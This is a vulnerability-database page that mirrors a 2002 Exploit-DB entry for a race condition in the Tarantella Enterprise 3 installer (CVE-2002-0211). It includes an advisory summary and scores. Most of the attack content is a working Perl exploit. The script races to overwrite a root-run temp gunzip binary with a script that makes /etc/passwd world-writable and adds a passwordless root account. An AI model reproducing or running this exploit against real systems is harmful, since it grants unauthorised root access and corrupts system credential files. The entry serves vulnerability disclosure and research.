Lucene search
+L

Tarantella Enterprise 3 - gunzip Race Condition

🗓️ 08 Feb 2002 00:00:00Reported by Larry CashdollarType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 23 Views

Tarantella Enterprise 3 has a race condition allowing privilege escalation during installation.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2002-0211
25 Jun 200204:00
cve
cvelist
Cvelist
CVE-2002-0211
25 Jun 200204:00
cvelist
euvd
EUVD
EUVD-2002-0208
7 Oct 202500:30
euvd
nvd
NVD
CVE-2002-0211
16 May 200204:00
nvd
ptsecurity
Positive Technologies
PT-2002-1282 · Oracle · Tarantella Enterprise 3
16 May 200200:00
ptsecurity
source: https://www.securityfocus.com/bid/3966/info

Tarantella Enterprise 3 is vulnerable to a race condition during the installation process. During installation, a root owned binary is created in /tmp (the directory specified by the $TMPDIR environment variable) with the name gunzip#### where #### is a PID. Prior to it being invoked by the installation program it can be overwritten by a local user. This is then run by the installation program with root privileges.

An attacker can only gain privileges in this manner if a privileged user is installing the software.

#!/usr/bin/perl -w
#Another Exploit for tarantella enterprise 3 installation.
#Larry Cashdollar [email protected] 2/08/2002
#Exploits gunzip$$ binary being created in /tmp with perm 777
#http://online.securityfocus.com/bid/3966
#Experimental ext3 kernel mods for preventing/researching race conditions.
#http://vapid.dhs.org/tmp-patch-kernel-2.4.17.html

use strict;

`cat  <<  -EOF- > root.sh
#!/bin/sh
chmod 777 /etc/passwd
echo "tarexp::0:0:Tarantella Exploit:/:/bin/bash" >> /etc/passwd
-EOF-`;

my $OUT = '';

while(!$OUT) {
	$OUT =  `ps -ax |grep gunzip |grep -v grep`;
        print "Found $OUT\n";
}

my @args  = split(' ',$OUT);
# Do this with one copy operation. This will break installation of tarantella.
# should test for -w on /etc/passwd stop and su - tarexp.
while(1) {
`cp root.sh $args[4]`;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.2
EPSS0.00886
23